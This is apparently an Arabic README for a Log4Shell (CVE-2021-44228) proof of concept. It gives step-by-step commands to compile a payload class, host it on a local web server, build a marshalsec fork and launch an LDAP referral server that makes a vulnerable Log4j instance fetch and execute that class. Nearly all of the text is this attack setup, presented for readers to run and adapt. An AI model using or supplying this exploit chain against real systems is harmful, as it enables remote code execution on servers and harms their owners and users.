أباتشي Log4j CVE-2021-44228 GK7 PoC

الخطوات

1. قم بتجميع Log4jRCE.java وانقل ملف .class إلى خادم ويب (مثال: PHP محلي)

   1. cd src/main/java
   2. javac Log4jRCE.java
   3. انقل ملف .class إلى خادم ويب أو قم بتشغيل PHP محليًا، على سبيل المثال: php -S 127.0.0.1:8888

2. تشغيل خادم LDAP

   1. git clone [email protected]:Grupo-Kapa-7/marshalsec.git
   2. cd marshalsec
   3. mvn clean package -DskipTests
   4. قم بتشغيل خادم LDAP java -cp target/marshalsec-0.0.3-SNAPSHOT-GK7Threats-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Log4jRCE"

3. لاختبار PoC، قم بتعديل ملف src/main/java/log4j.java وقم بتغيير عنوان URL لخادم LDAP حسب رغبتك.

المستودع الأصلي

https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce